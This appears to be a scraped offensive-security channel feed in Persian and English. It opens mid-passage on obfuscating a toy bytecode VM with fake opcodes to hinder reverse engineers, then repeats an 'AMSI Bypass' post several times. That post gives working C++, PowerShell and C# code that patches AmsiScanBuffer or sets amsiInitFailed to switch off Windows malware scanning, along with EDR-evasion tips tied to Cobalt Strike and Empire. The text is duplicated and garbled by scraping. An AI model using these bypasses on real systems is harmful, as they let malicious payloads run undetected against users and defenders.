Add fake opcodes that do nothing but bloat the bytecode and confuse analysis.
2 Bytecode Encryption:
Encrypt the bytecode and have the VM decrypt it before execution.
3 Control Flow Obfuscation:
Insert fake jumps, fake loops, and non-linear execution to break down static analysis tools.
4 Jump Table Instead of Switch:
Use a function pointer jump table rather than a simple switch-case for opcode handling.
🧪 Practical Example – Version 2 of the VM (With Fake Instructions)
📦 Sample Bytecode with Junk Instructions:
FF ; NOP_FAKE_1
01 0A ; PUSH 10
AB ; NOP_FAKE_2
01 14 ; PUSH 20
FF ; NOP_FAKE_1
02 ; ADD
CD ; NOP_FAKE_3
03 ; PRINT
📚 Instruction Set:
Opcode Mnemonic Denoscription
01 PUSH_VAL Push value onto the stack
02 ADD Add two top values on stack
03 PRINT Print the top of the stack
FF NOP_FAKE_1 Fake NOP, does nothing
AB NOP_FAKE_2 Another fake NOP
CD NOP_FAKE_3 Yet another fake
NOP
🧠 C Implementation:
#define PUSH_VAL 0x01
#define ADD 0x02
#define PRINT 0x03
#define NOP1 0xFF
#define NOP2 0xAB
#define NOP3 0xCD
🔥2
unsigned char bytecode[] = {
0xFF, // Fake NOP
0x01, 0x0A, // PUSH 10
0xAB, // Fake NOP
0x01, 0x14, // PUSH 20
0xFF, // Fake NOP
0x02, // ADD
0xCD, // Fake NOP
0x03 // PRINT
};
void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
case ADD:
push(pop() + pop());
break;
case PRINT:
printf("Result: %d\n", pop());
break;
case NOP1:
case NOP2:
case NOP3:
// Do nothing
break;
default:
printf("Unknown opcode: %02X\n", op);
return;
}
}
}
🔍 What Will the Analyst See?
In tools like Ghidra or IDA, the analysis becomes messy because:
The bytecode is not human-readable — it must be reversed.
The control flow is polluted with fake instructions.
Execution is intentionally obfuscated with meaningless operations.
🔥2
🧬 AMSI Bypass
«وقتی میخوای با PowerShell اجرا کنی، ولی AMSI مثل سگ دنبالت میکنه!» 🐕🚫
🎯 AMSI چیه دقیقاً؟
AMSI (Antimalware Scan Interface)
سیستمیه که تو ویندوز تعبیه شده تا محتواهایی مثل:
PowerShell Scriptها
VBScript / JScript
.NET Assemblies
Macros
رو قبل از اجرا، به آنتیویروس (مثلاً Defender) بده برای اسکن 😑
یعنی حتی اگه تو RAM یه شلکد با PowerShell اجرا کنی، AMSI میتونه بفرسته سمت AV برای تحلیل → Detect 😵
😈 راهحل؟ خاموشش کن!
هدف ما اینه که تابع اصلی AmsiScanBuffer رو نابود کنیم یا فریب بدیم
🔧 روش اول: Patch کردن AmsiScanBuffer (کلاسیکترین روش)
🔥 C++ کد خام:
HMODULE hAmsi = LoadLibraryA("amsi.dll");
FARPROC addr = GetProcAddress(hAmsi, "AmsiScanBuffer");
// RWX کردن تابع
DWORD old;
VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &old);
// تبدیل تابع به RET (0xC3)
*(BYTE*)addr = 0xC3;
VirtualProtect(addr, 1, old, &old);
⛔ حالا هر چی بدی به AmsiScanBuffer، مستقیم رد میشه بدون اینکه اسکن شه
🧪 روش دوم: Bypass با PowerShell (برای RedTeamerها)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)
> این اسکریپت میگه AMSI خراب شده و دیگه scan نکنه!
🧪 روش سوم: AMSI Bypass در .NET (C#)
[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");
byte[] patch = { 0xC3 };
Marshal.Copy(patch, 0, addr, 1);
⚔️ روشهای خفنتر و EDR-safe:
روش توضیح
Indirect Patching استفاده از Direct Syscall برای ناپدید شدن از API
Manual Mapping AMSI.dll رو دستی از حافظه حذف کن و کد خودت رو بذار
Memory Unhook + Patch ntdll رو پاکسازی کن، بعدش amsi.dll رو patch کن
⚠️ هشدار:
Defender روی Integrity بعضی DLLها مثل amsi.dll نظارت میکنه
اگر فقط 0xC3 بزنی، ممکنه EDR بفهمه Hook شده
امنترین حالت → استفاده از DirectSyscall + RWX Section برای Patch کردن
🧰 ابزارهایی که AMSI رو Bypass میکنن:
ابزار توضیح
AMSITrigger ایجاد triggerهایی برای بررسی حساسیت AMSI
AMSI.fail مجموعه bypassهای مختلف
SharpBypassAmsi بایپس با C#
Invoke-AmsiBypass مخصوص PowerShell
😎 جمعبندی تاکتیکی:
اگر با چی کار کنی؟ AMSI کمک میکنه؟ راهحل بایپس
PowerShell Empire بله Patch در PS یا .NET
Cobalt Strike BOF معمولاً نه AMSI Patch در BOF
DLL Injection بله AMSI.dll Patch یا manual load
فایل ماکرو شدیدا بله Patch قبل از اجرای payload
🧬 AMSI Bypass
“You try to run your payload with PowerShell, but AMSI is on your tail like a rabid dog!” 🐕🚫
🎯 What is AMSI exactly?
AMSI (Antimalware Scan Interface) is a Windows feature that scans suspicious content before it executes, including:
PowerShell noscripts
VBScript / JScript
.NET assemblies
Office macros
😑 Even if you inject shellcode into RAM via PowerShell, AMSI can still hand it over to Defender for inspection → Detection! 😵
😈 The Solution? Trick it or Kill it.
Our goal: Disable or patch the AmsiScanBuffer function, the heart of AMSI’s scanning logic.
🔧 Method 1: Classic C++ Patching of AmsiScanBuffer
HMODULE hAmsi = LoadLibraryA("amsi.dll");
FARPROC addr = GetProcAddress(hAmsi, "AmsiScanBuffer");
// Make memory RWX
DWORD old;
VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &old);
// Patch: Replace with RET (0xC3)
*(BYTE*)addr = 0xC3;
// Restore protection
VirtualProtect(addr, 1, old, &old);
⛔ Now anything passed to AmsiScanBuffer is just ignored and not scanned.
🧪 Method 2: PowerShell Bypass (For Red Teamers)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null, $true)
> This tells AMSI it failed to initialize — and disables scanning completely.
🧪 Method 3: AMSI Bypass in .NET (C#)
[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);
«وقتی میخوای با PowerShell اجرا کنی، ولی AMSI مثل سگ دنبالت میکنه!» 🐕🚫
🎯 AMSI چیه دقیقاً؟
AMSI (Antimalware Scan Interface)
سیستمیه که تو ویندوز تعبیه شده تا محتواهایی مثل:
PowerShell Scriptها
VBScript / JScript
.NET Assemblies
Macros
رو قبل از اجرا، به آنتیویروس (مثلاً Defender) بده برای اسکن 😑
یعنی حتی اگه تو RAM یه شلکد با PowerShell اجرا کنی، AMSI میتونه بفرسته سمت AV برای تحلیل → Detect 😵
😈 راهحل؟ خاموشش کن!
هدف ما اینه که تابع اصلی AmsiScanBuffer رو نابود کنیم یا فریب بدیم
🔧 روش اول: Patch کردن AmsiScanBuffer (کلاسیکترین روش)
🔥 C++ کد خام:
HMODULE hAmsi = LoadLibraryA("amsi.dll");
FARPROC addr = GetProcAddress(hAmsi, "AmsiScanBuffer");
// RWX کردن تابع
DWORD old;
VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &old);
// تبدیل تابع به RET (0xC3)
*(BYTE*)addr = 0xC3;
VirtualProtect(addr, 1, old, &old);
⛔ حالا هر چی بدی به AmsiScanBuffer، مستقیم رد میشه بدون اینکه اسکن شه
🧪 روش دوم: Bypass با PowerShell (برای RedTeamerها)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)
> این اسکریپت میگه AMSI خراب شده و دیگه scan نکنه!
🧪 روش سوم: AMSI Bypass در .NET (C#)
[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");
byte[] patch = { 0xC3 };
Marshal.Copy(patch, 0, addr, 1);
⚔️ روشهای خفنتر و EDR-safe:
روش توضیح
Indirect Patching استفاده از Direct Syscall برای ناپدید شدن از API
Manual Mapping AMSI.dll رو دستی از حافظه حذف کن و کد خودت رو بذار
Memory Unhook + Patch ntdll رو پاکسازی کن، بعدش amsi.dll رو patch کن
⚠️ هشدار:
Defender روی Integrity بعضی DLLها مثل amsi.dll نظارت میکنه
اگر فقط 0xC3 بزنی، ممکنه EDR بفهمه Hook شده
امنترین حالت → استفاده از DirectSyscall + RWX Section برای Patch کردن
🧰 ابزارهایی که AMSI رو Bypass میکنن:
ابزار توضیح
AMSITrigger ایجاد triggerهایی برای بررسی حساسیت AMSI
AMSI.fail مجموعه bypassهای مختلف
SharpBypassAmsi بایپس با C#
Invoke-AmsiBypass مخصوص PowerShell
😎 جمعبندی تاکتیکی:
اگر با چی کار کنی؟ AMSI کمک میکنه؟ راهحل بایپس
PowerShell Empire بله Patch در PS یا .NET
Cobalt Strike BOF معمولاً نه AMSI Patch در BOF
DLL Injection بله AMSI.dll Patch یا manual load
فایل ماکرو شدیدا بله Patch قبل از اجرای payload
🧬 AMSI Bypass
“You try to run your payload with PowerShell, but AMSI is on your tail like a rabid dog!” 🐕🚫
🎯 What is AMSI exactly?
AMSI (Antimalware Scan Interface) is a Windows feature that scans suspicious content before it executes, including:
PowerShell noscripts
VBScript / JScript
.NET assemblies
Office macros
😑 Even if you inject shellcode into RAM via PowerShell, AMSI can still hand it over to Defender for inspection → Detection! 😵
😈 The Solution? Trick it or Kill it.
Our goal: Disable or patch the AmsiScanBuffer function, the heart of AMSI’s scanning logic.
🔧 Method 1: Classic C++ Patching of AmsiScanBuffer
HMODULE hAmsi = LoadLibraryA("amsi.dll");
FARPROC addr = GetProcAddress(hAmsi, "AmsiScanBuffer");
// Make memory RWX
DWORD old;
VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &old);
// Patch: Replace with RET (0xC3)
*(BYTE*)addr = 0xC3;
// Restore protection
VirtualProtect(addr, 1, old, &old);
⛔ Now anything passed to AmsiScanBuffer is just ignored and not scanned.
🧪 Method 2: PowerShell Bypass (For Red Teamers)
$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null, $true)
> This tells AMSI it failed to initialize — and disables scanning completely.
🧪 Method 3: AMSI Bypass in .NET (C#)
[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);
❤3